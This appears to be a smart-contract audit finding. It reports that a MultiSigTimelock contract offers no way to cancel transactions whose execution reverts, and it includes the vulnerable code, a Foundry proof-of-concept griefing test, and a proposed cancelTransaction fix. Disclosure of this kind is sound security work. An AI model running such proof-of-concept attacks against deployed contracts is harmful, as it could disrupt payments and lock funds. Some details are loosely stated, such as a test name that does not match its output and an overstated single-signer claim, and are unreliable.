Description
The MultiSigTimelock contract lacks a critical transaction management feature: the ability to cancel or abort transactions that fail during execution. This creates a griefing attack vector where a malicious signer can propose transactions to contracts that always revert, permanently bricking those transaction IDs and disrupting protocol operations.
Expected Behavior:
-
Multisig should allow transaction lifecycle management: propose, approve, execute, and cancel/abort if needed
-
Failed transactions should either be marked as failed or provide a mechanism to cancel them
-
Standard multisig implementations (like Gnosis Safe) include cancel/abort functionality for this reason
Actual Behavior:
-
When executeTransaction() is called and the external call fails, the entire transaction reverts
-
The executed state variable is rolled back to false
-
The transaction remains in a permanently pending state with no way to cancel it
-
The same transaction can be attempted infinitely, always failing
The Attack Vector:
In the _executeTransaction() function:
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
if (txn.confirmations < REQUIRED_CONFIRMATIONS) { revert ...; }
txn.executed = true;
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) {
revert MultiSigTimelock__ExecutionFailed();
}
emit TransactionExecuted(txnId, txn.to, txn.value);
}
When the call to txn.to fails:
The revert rolls back ALL state changes including txn.executed = true
Transaction stays in pending state (executed = false)
No mechanism exists to cancel or mark it as permanently failed
Transaction ID is effectively bricked forever
Risk
Likelihood:
-
Requires one malicious or compromised signer (insider threat)
-
Can be repeated multiple times to brick numerous transaction IDs
-
Can occur accidentally with legitimate contracts that have been paused, upgraded, or have bugs
Impact:
-
Time-sensitive payments (payroll, acquisitions, partnerships) can be sabotaged, causing significant financial and reputational damage
-
Multiple bricked transactions create confusion, waste gas fees on repeated execution attempts, and force workarounds
signers
-
Transaction lifecycle is incomplete without ability to cancel failed transactions
-
Signers lose confidence in the system when transactions mysteriously fail repeatedly
Proof of Concept
The following test demonstrates how a malicious signer can permanently brick a transaction by proposing to send funds to a contract that always reverts:
function test_ExecuteTransactionDoS() public grantSigningRoles {
ethRejector = new EthRejector();
uint256 FUNDS_IN_MULTISIG = 10 ether;
uint256 AMOUNT_TO_SEND = 1 ether;
vm.deal(address(multiSigTimelock), FUNDS_IN_MULTISIG);
vm.prank(OWNER);
uint256 txnId = multiSigTimelock.proposeTransaction(address(ethRejector), AMOUNT_TO_SEND, hex"");
console2.log("=== Griefing Attack Scenario ===");
console2.log("Transaction proposed to malicious contract at:", address(ethRejector));
console2.log("Amount to send:", AMOUNT_TO_SEND);
console2.log("Multisig balance:", address(multiSigTimelock).balance);
vm.prank(OWNER);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnId);
console2.log("\nTransaction has 3 confirmations - ready to execute");
vm.warp(block.timestamp + 1 days + 1);
console2.log("Time advanced past timelock delay");
console2.log("\n--- First Execution Attempt ---");
vm.prank(OWNER);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
MultiSigTimelock.Transaction memory txn = multiSigTimelock.getTransaction(txnId);
assertFalse(txn.executed, "Transaction should NOT be marked as executed");
console2.log("Transaction executed status:", txn.executed);
console2.log("Transaction can be attempted again - permanently stuck!");
console2.log("\n--- Second Execution Attempt ---");
vm.prank(SIGNER_TWO);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
txn = multiSigTimelock.getTransaction(txnId);
assertFalse(txn.executed, "Transaction STILL not executed after second attempt");
console2.log("\n--- Third Execution Attempt ---");
vm.prank(SIGNER_THREE);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
console2.log("\n=== VULNERABILITY IMPACT ===");
console2.log("Transaction ID", txnId, "is permanently bricked");
console2.log("Amount stuck:", AMOUNT_TO_SEND);
console2.log("Multisig still has balance:", address(multiSigTimelock).balance);
console2.log("But this transaction can NEVER succeed");
console2.log("No way to cancel or abort this transaction");
console2.log("Malicious signer can repeat this attack multiple times");
}
To run the test:
forge test --mt test_ExecuteTransactionDoS -vv
Expected Output:
[PASS] testExecuteTransactionDoSWhenRecipientAlwaysReverts()
Logs:
=== Griefing Attack Scenario ===
Transaction proposed to malicious contract at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Amount to send: 1000000000000000000
Multisig balance: 10000000000000000000
Transaction has 3 confirmations - ready to execute
Time advanced past timelock delay
--- First Execution Attempt ---
Transaction executed status: false
Transaction can be attempted again - permanently stuck!
--- Second Execution Attempt ---
--- Third Execution Attempt ---
=== VULNERABILITY IMPACT ===
Transaction ID 0 is permanently bricked
Amount stuck: 1000000000000000000
Multisig still has balance: 10000000000000000000
But this transaction can NEVER succeed
No way to cancel or abort this transaction
Malicious signer can repeat this attack multiple times
Recommended Mitigation
Implement a transaction cancellation mechanism that allows signers to abort failed or unwanted transactions. This is a standard feature in production multisig implementations like Gnosis Safe.
Recommended Fix:
Add a cancelTransaction() function to allow signers to abort failed transactions:
function cancelTransaction(uint256 txnId)
external
transactionExists(txnId)
notExecuted(txnId)
onlyRole(SIGNING_ROLE)
{
s_transactions[txnId].executed = true;
emit TransactionCancelled(txnId, msg.sender);
}
event TransactionCancelled(uint256 indexed transactionId, address indexed canceller);
Why This Fix Works:
Breaks the infinite loop: Cancelled transactions are marked as executed = true, preventing further execution attempts
Authorized access: Only signers can cancel, maintaining security model
Standard pattern: Follows industry best practices (Gnosis Safe, OpenZeppelin Governor)
Simple implementation: Reuses existing modifiers and state variables
Additional Consideration:
You may want to require multiple confirmations to cancel a transaction (similar to execution), especially for high-value transactions, to prevent a single malicious signer from cancelling legitimate transactions.
Reference: